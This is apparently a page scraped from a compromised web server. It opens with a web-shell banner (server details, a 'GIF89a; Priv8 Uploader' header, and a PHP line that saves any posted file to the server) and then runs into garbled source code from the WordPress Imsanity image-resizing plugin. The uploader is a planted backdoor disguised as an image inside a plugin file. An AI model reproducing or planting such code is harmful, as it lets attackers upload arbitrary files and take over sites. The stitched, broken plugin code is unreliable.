OS : Linux
PHP Version : 7.4.33
Software : Apache/2.4.6 (CentOS) PHP/7.4.33
Information System : Linux apprendre2 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Disable Function :
GIF89a; Priv8 Uploader By InMyMine7
';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Uploaded';}else{echo 'Not Uploaded';}}
}
?>
0 ) {
imsanity_debug( 'from a post (id)' );
return IMSANITY_SOURCE_POST;
}
// If the referrer is the post editor, that's a good indication the image is attached to a post.
if ( false !== strpos( $referer, '/post.php' ) ) {
imsanity_debug( 'from a post.php' );
return IMSANITY_SOURCE_POST;
}
// If the referrer is the (new) post editor, that's a good indication the image is attached to a post.
if ( false !== strpos( $referer, '/post-new.php' ) ) {
imsanity_debug( 'from a new post' );
return IMSANITY_SOURCE_POST;
}
// Post_id of 0 is 3.x otherwise use the action parameter.
if ( 0 === $id || 'upload-attachment' === $action ) {
imsanity_debug( 'from the library' );
return IMSANITY_SOURCE_LIBRARY;
}
// We don't know where this one came from but $_REQUEST['_wp_http_referer'] may contain info.
imsanity_debug( 'unknown source' );
return IMSANITY_SOURCE_OTHER;
}
/**
* Given the source, returns the max width/height.
*
* @example: list( $w, $h ) = imsanity_get_max_width_height( IMSANITY_SOURCE_LIBRARY );
* @param int $source One of IMSANITY_SOURCE_POST | IMSANITY_SOURCE_LIBRARY | IMSANITY_SOURCE_OTHER.
*/
function imsanity_get_max_width_height( $source ) {
$w = (int) imsanity_get_option( 'imsanity_max_width', IMSANITY_DEFAULT_MAX_WIDTH );
$h = (int) imsanity_get_option( 'imsanity_max_height', IMSANITY_DEFAULT_MAX_HEIGHT );
switch ( $source ) {
case IMSANITY_SOURCE_POST:
break;
case IMSANITY_SOURCE_LIBRARY:
$w = (int) imsanity_get_option( 'imsanity_max_width_library', $w );
$h = (int) imsanity_get_option( 'imsanity_max_height_library', $h );
break;
default:
$w = (int) imsanity_get_option( 'imsanity_max_width_other', $w );
$h = (int) imsanity_get_option( 'imsanity_max_height_other', $h );
break;
}
// NOTE: filters MUST return an array of 2 items, or the defaults will be used.
return apply_filters( 'imsanity_get_max_width_height', array( $w, $h ), $source );
}
/**
* Handler after a file has been uploaded. If the file is an image, check the size
* to see if it is too big and, if so, resize and overwrite the original.
*
* @param Array $params The parameters submitted with the upload.
*/
function imsanity_handle_upload( $params ) {
// If "noresize" is included in the filename then we will bypass imsanity scaling.
if ( strpos( $params['file'], 'noresize' ) !== false ) {
return $params;
}
if ( apply_filters( 'imsanity_skip_image', false, $params['file'] ) ) {
return $params;
}
// If preferences specify so then we can convert an original bmp or png file into jpg.
if ( ( 'image/bmp' === $params['type'] || 'image/x-ms-bmp' === $params['type'] ) && imsanity_get_option( 'imsanity_bmp_to_jpg', IMSANITY_DEFAULT_BMP_TO_JPG ) ) {
$params = imsanity_convert_to_jpg( 'bmp', $params );
}
if ( 'image/png' === $params['type'] && imsanity_get_option( 'imsanity_png_to_jpg', IMSANITY_DEFAULT_PNG_TO_JPG ) ) {
$params = imsanity_convert_to_jpg( 'png', $params );
}
// Make sure this is a type of image that we want to convert and that it exists.
$oldpath = $params['file'];
// Let folks filter the allowed mime-types for resizing.
$allowed_types = apply_filters( 'imsanity_allowed_mimes', array( 'image/png', 'image/gif', 'image/jpeg' ), $oldpath );
if ( is_string( $allowed_types ) ) {
$allowed_types = array( $allowed_types );
} elseif ( ! is_array( $allowed_types ) ) {
$allowed_types = array();
}
if (
( ! is_wp_error( $params ) ) &&
is_file( $oldpath ) &&
is_readable( $oldpath ) &&
is_writable( $oldpath ) &&
filesize( $oldpath ) > 0 &&
in_array( $params['type'], $allowed_types, true )
) {
// figure out where the upload is coming from.
$source = imsanity_get_source();
$maxw = IMSANITY_DEFAULT_MAX_WIDTH;
$maxh = IMSANITY_DEFAULT_MAX_HEIGHT;
$max_width_height = imsanity_get_max_width_height( $source );
if ( is_array( $max_width_height ) && 2 === count( $max_width_height ) ) {
list( $maxw, $maxh ) = $max_width_height;
}
$maxw = (int) $maxw;
$maxh = (int) $maxh;
list( $oldw, $oldh ) = getimagesize( $oldpath );
if ( ( $oldw > $maxw + 1 && $maxw > 0 ) || ( $oldh > $maxh + 1 && $maxh > 0 ) ) {
$quality = imsanity_get_option( 'imsanity_quality', IMSANITY_DEFAULT_QUALITY );
$ftype = imsanity_quick_mimetype( $oldpath );
$orientation = imsanity_get_orientation( $oldpath, $ftype );
// If we are going to rotate the image 90 degrees during the resize, swap the existing image dimensions.
if ( 6 === (int) $orientation || 8 === (int) $orientation ) {
$old_oldw = $oldw;
$oldw = $oldh;
$oldh = $old_oldw;
}
if ( $maxw > 0 && $maxh > 0 && $oldw >= $maxw && $oldh >= $maxh && ( $oldh > $maxh || $oldw > $maxw ) && apply_filters( 'imsanity_crop_image', false ) ) {
$neww = $maxw;
$newh = $maxh;
} else {
list( $neww, $newh ) = wp_constrain_dimensions( $oldw, $oldh, $maxw, $maxh );
}
global $ewww_preempt_editor;
if ( ! isset( $ewww_preempt_editor ) ) {
$ewww_preempt_editor = false;
}
$original_preempt = $ewww_preempt_editor;
$ewww_preempt_editor = true;
$resizeresult = imsanity_image_resize( $oldpath, $neww, $newh, apply_filters( 'imsanity_crop_image', false ), null, null, $quality );
$ewww_preempt_editor = $original_preempt;
if ( $resizeresult && ! is_wp_error( $resizeresult ) ) {
$newpath = $resizeresult;
if ( is_file( $newpath ) && filesize( $newpath ) < filesize( $oldpath ) ) {
// We saved some file space. remove original and replace with resized image.
unlink( $oldpath );
rename( $newpath, $oldpath );
} elseif ( is_file( $newpath ) ) {
// The resized image is actually bigger in filesize (most likely due to jpg quality).
// Keep the old one and just get rid of the resized image.
unlink( $newpath );
}
} elseif ( false === $resizeresult ) {
return $params;
} elseif ( is_wp_error( $resizeresult ) ) {
// resize didn't work, likely because the image processing libraries are missing.
// remove the old image so we don't leave orphan files hanging around.
unlink( $oldpath );
$params = wp_handle_upload_error(
$oldpath,
sprintf(
/* translators: 1: error message 2: link to support forums */
esc_html__( 'Imsanity was unable to resize this image for the following reason: %1$s. If you continue to see this error message, you may need to install missing server components. If you think you have discovered a bug, please report it on the Imsanity support forum: %2$s', 'imsanity' ),
$resizeresult->get_error_message(),
'https://wordpress.org/support/plugin/imsanity'
)
);
} else {
return $params;
}
}
}
clearstatcache();
return $params;
}
/**
* Read in the image file from the params and then save as a new jpg file.
* if successful, remove the original image and alter the return
* parameters to return the new jpg instead of the original
*
* @param string $type Type of the image to be converted: 'bmp' or 'png'.
* @param array $params The upload parameters.
* @return array altered params
*/
function imsanity_convert_to_jpg( $type, $params ) {
if ( apply_filters( 'imsanity_disable_convert', false, $type, $params ) ) {
return $params;
}
$img = null;
if ( 'bmp' === $type ) {
if ( ! function_exists( 'imagecreatefrombmp' ) ) {
return $params;
}
$img = imagecreatefrombmp( $params['file'] );
} elseif ( 'png' === $type ) {
// Prevent converting PNG images with alpha/transparency, unless overridden by the user.
if ( apply_filters( 'imsanity_skip_alpha', imsanity_has_alpha( $params['file'] ), $params['file'] ) ) {
return $params;
}
if ( ! function_exists( 'imagecreatefrompng' ) ) {
return wp_handle_upload_error( $params['file'], esc_html__( 'Imsanity requires the GD library to convert PNG images to JPG', 'imsanity' ) );
}
$input = imagecreatefrompng( $params['file'] );
// convert png transparency to white.
$img = imagecreatetruecolor( imagesx( $input ), imagesy( $input ) );
imagefill( $img, 0, 0, imagecolorallocate( $img, 255, 255, 255 ) );
imagealphablending( $img, true );
imagecopy( $img, $input, 0, 0, 0, 0, imagesx( $input ), imagesy( $input ) );
} else {
return wp_handle_upload_error( $params['file'], esc_html__( 'Unknown image type specified in imsanity_convert_to_jpg', 'imsanity' ) );
}
// We need to change the extension from the original to .jpg so we have to ensure it will be a unique filename.
$uploads = wp_upload_dir();
$oldfilename = wp_basename( $params['file'] );
$newfilename = wp_basename( str_ireplace( '.' . $type, '.jpg', $oldfilename ) );
$newfilename = wp_unique_filename( $uploads['path'], $newfilename );
$quality = imsanity_get_option( 'imsanity_quality', IMSANITY_DEFAULT_QUALITY );
if ( imagejpeg( $img, $uploads['path'] . '/' . $newfilename, $quality ) ) {
// Conversion succeeded: remove the original bmp & remap the params.
unlink( $params['file'] );
$params['file'] = $uploads['path'] . '/' . $newfilename;
$params['url'] = $uploads['url'] . '/' . $newfilename;
$params['type'] = 'image/jpeg';
} else {
unlink( $params['file'] );
return wp_handle_upload_error(
$oldfilename,
/* translators: %s: the image mime type */
sprintf( esc_html__( 'Imsanity was unable to process the %s file. If you continue to see this error you may need to disable the conversion option in the Imsanity settings.', 'imsanity' ), $type )
);
}
return $params;
}
// Add filter to hook into uploads.
add_filter( 'wp_handle_upload', 'imsanity_handle_upload' );
// Run necessary actions on init (loading translations mostly).
add_action( 'plugins_loaded', 'imsanity_init' );
// Adds a column to the media library list view to display optimization results.
add_filter( 'manage_media_columns', 'imsanity_media_columns' );
// Outputs the actual column information for each attachment.
add_action( 'manage_media_custom_column', 'imsanity_custom_column', 10, 2 );
// Checks for WebP support and adds it to the allowed mime types.
add_filter( 'imsanity_allowed_mimes', 'imsanity_add_webp_support' );